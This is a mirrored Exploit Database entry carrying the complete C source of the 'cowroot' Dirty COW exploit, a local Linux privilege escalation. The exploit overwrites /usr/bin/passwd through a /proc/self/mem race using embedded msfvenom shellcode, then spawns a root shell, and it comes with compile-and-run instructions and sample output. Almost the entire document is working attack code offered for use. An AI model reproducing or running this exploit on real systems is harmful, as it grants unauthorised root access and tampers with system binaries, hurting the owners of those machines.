Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method)

• Exploit Database
• 124 阅读

• 作者： Robin Verton
  日期： 2016-10-21
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/40616/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160

  /* * * EDB-Note: After getting a shell, doing "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable. * * (un)comment correct payload first (x86 or x64)! * * $ gcc cowroot.c -o cowroot -pthread * $ ./cowroot * DirtyCow root privilege escalation * Backing up /usr/bin/passwd.. to /tmp/bak * Size of binary: 57048 * Racing, this may take a while.. * /usr/bin/passwd is overwritten * Popping root shell. * Don&apos;t forget to restore /tmp/bak * thread stopped * thread stopped * root@box:/root/cow# id * uid=0(root) gid=1000(foo) groups=1000(foo) */   #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <string.h> #include <unistd.h>   void *map; int f; int stop = 0; struct stat st; char *name; pthread_t pth1,pth2,pth3;   // change if no permissions to read char suid_binary[] = "/usr/bin/passwd";   /* * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i */ unsigned char sc[] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 }; unsigned int sc_len = 177;   /* * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i unsigned char sc[] = { 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80 }; unsigned int sc_len = 136; */   void *madviseThread(void *arg) { char *str; str=(char*)arg; int i,c=0; for(i=0;i<1000000 && !stop;i++) { c+=madvise(map,100,MADV_DONTNEED); } printf("thread stopped\n"); }   void *procselfmemThread(void *arg) { char *str; str=(char*)arg; int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<1000000 && !stop;i++) { lseek(f,map,SEEK_SET); c+=write(f, str, sc_len); } printf("thread stopped\n"); }   void *waitForWrite(void *arg) { char buf[sc_len];   for(;;) { FILE *fp = fopen(suid_binary, "rb");   fread(buf, sc_len, 1, fp);   if(memcmp(buf, sc, sc_len) == 0) { printf("%s is overwritten\n", suid_binary); break; }   fclose(fp); sleep(1); }   stop = 1;   printf("Popping root shell.\n"); printf("Don&apos;t forget to restore /tmp/bak\n");   system(suid_binary); }   int main(int argc,char *argv[]) { char *backup;   printf("DirtyCow root privilege escalation\n"); printf("Backing up %s.. to /tmp/bak\n", suid_binary);   asprintf(&backup, "cp %s /tmp/bak", suid_binary); system(backup);   f = open(suid_binary,O_RDONLY); fstat(f,&st);   printf("Size of binary: %d\n", st.st_size);   char payload[st.st_size]; memset(payload, 0x90, st.st_size); memcpy(payload, sc, sc_len+1);   map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);   printf("Racing, this may take a while..\n");   pthread_create(&pth1, NULL, &madviseThread, suid_binary); pthread_create(&pth2, NULL, &procselfmemThread, payload); pthread_create(&pth3, NULL, &waitForWrite, NULL);   pthread_join(pth3, NULL);   return 0; }